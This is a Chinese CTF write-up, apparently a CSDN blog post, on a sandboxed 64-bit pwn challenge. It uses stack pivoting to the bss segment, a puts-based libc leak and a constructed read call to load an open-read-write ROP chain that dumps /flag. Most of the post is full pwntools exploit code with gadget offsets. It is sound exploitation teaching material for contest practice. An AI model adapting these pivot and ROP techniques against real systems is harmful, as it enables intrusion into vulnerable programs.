[CTF]PWN--沙盒中的栈迁移构造read利用

本文讲述了在遇到沙盒限制的逆向工程挑战中,如何通过ORW技术绕过限制,首先通过栈迁移找到read函数起始地址,然后利用这个地址泄露libc基址,最终构造ORWpayload获取权限的过程。
摘要由CSDN通过智能技术生成

开篇先提一嘴,本文重点不是讲述如何利用ORW来解决沙盒问题,在文中只是简述了ORW,本文只是讲述了一种新的解题思路,想具体了解ORW解法的朋友可以看看我的另一篇博客:

https://blog.csdn.net/2301_79880752/article/details/136016919?spm=1001.2014.3001.5501

开启NX,64位,动态编译,IDA分析:

只有一个read函数,查看有没有沙盒

可以看到,确实存在沙盒,因此本题无法通过libc来解题,那就只能用orw了

第一步肯定是泄露libc基址

由于本题只有一次读入,且溢出字节只有0x10,我们又无法得知read函数起始地址,因此,无法一开始就使用栈迁移来泄露地址

那要如何去做呢?我们需要先找到一个bss段地址,将read函数读入位置迁移到了bss段上,这样我们就可以知道read函数读入的起始地址了

其实这也是通过栈迁移实现的,不太了解的朋友可以去看看我的第一篇博客

https://blog.csdn.net/2301_79880752/article/details/135721773?spm=1001.2014.3001.5501

得到read函数读入的起始位置之后我们就可以泄露libc基址了

到泄露libc基址的脚本是这样的

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("47.102.130.35",31975)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("./libc.so.6")
p=process("./pwn2")
elf=ELF("./pwn2")
def bug():
	gdb.attach(p)
	pause()
bss=0x404040+0x500
p.recvuntil("lbs,lbs,lbs\n")
pay=b'a'*0x40+p64(bss+0x40)+p64(0x4011C9)
p.send(pay)


rbp=0x40115d
rdi=0x401283
p.recvuntil("lbs,lbs,lbs\n")
pay=(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x500+0x40)+p64(0x4011C9)).ljust(0x40,b'\x00')+p64(bss-8)+p64(0x00000000004011ec)
#bug()
p.send(pay)

#leek libc_base================================================
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
#==============================================================

泄露完libc基址,我就想着直接使用orw来解题,但是由于本题限制了读入字节,而字节最短的orwpayload也还是超过了0x50个字节,于是我就想到了利用栈迁移构造出read函数来解决读入字节不够的问题

其实也不难,我们只需要找到libc库中我们需要用到的函数地址,寄存器地址,以及我们读入的位置就可以构造了

函数地址与寄存器地址可以通过libc基址计算得出,难点在于寻找读入的位置

我们需要在调试中寻找本次构造的read函数的读入起始位置,将其作为读入的位置,因为我们后面要在这个构造的read函数中读入orw,我们将orw写入到read函数起始地址上,再通过栈迁移执行读入的内容,即可获取权限,为了使程序运行成功我们可以先随便写一个bss地址作为读入位置

在调试得到起始地址后再将随便写的bss段修改为起始地址

有朋友会问,那本地调试得到的地址在远程连接时还能一样吗

还记得我们一开始将读入位置迁到bss段上了吗,连接远程时程序运行时的生成栈地址可能会改变,但是,内存(bss)是不会变的,因此本题我们可以直接通过调试得到起始地址,而这个起始地址必然是bss段地址,也就是说在连接远程的时候是不会改变的

随后我们经过调试可以得到我们构造read函数的起始地址

通过调试我们看到,read函数的起始地址确实是一个bss段地址

于是我们就可以将先前随便输入的读入地址改为这个地址

随后在下一次读入时写入orw,得到flag

exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("47.102.130.35",31975)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("./libc.so.6")
p=process("./pwn2")
elf=ELF("./pwn2")
def bug():
	gdb.attach(p)
	pause()
bss=0x404040+0x500
p.recvuntil("lbs,lbs,lbs\n")
pay=b'a'*0x40+p64(bss+0x40)+p64(0x4011C9)
p.send(pay)


rbp=0x40115d
rdi=0x401283
p.recvuntil("lbs,lbs,lbs\n")
pay=(p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x500+0x40)+p64(0x4011C9)).ljust(0x40,b'\x00')+p64(bss-8)+p64(0x00000000004011ec)
#bug()
p.send(pay)

#leek libc_base================================================
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
#==============================================================

open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read']

mprotect=libc_base+libc.sym['mprotect']
rsi=libc_base+0x000000000002be51
rdx_r12=libc_base+0x000000000011f497
pay=p64(rdi)+p64(0)+p64(rsi)+p64(0x404a80-8)+p64(rdx_r12)+p64(0x1000)*2+p64(read_addr)+p64(bss+0x500-8)+p64(0x00000000004011ec)
bug()
p.send(pay)

pause()
payload  =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(0x404a80-8)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)

payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)

payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
p.send(payload)



p.interactive()

由于本题我使用的是手搓的orw,再最前面会读入八个字节的/flag\x00\x00\x00

因此在读入字节那里需要将0x404a80修改为0x404a80-8,这样读入的最开始八个字节就不算在起始地址里,也就不影响程序运行了

当然,如果使用工具生成的orw,脚本会有所改动,这边就不提及了,有需要调试的朋友可以私信我要原题

  • 19
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值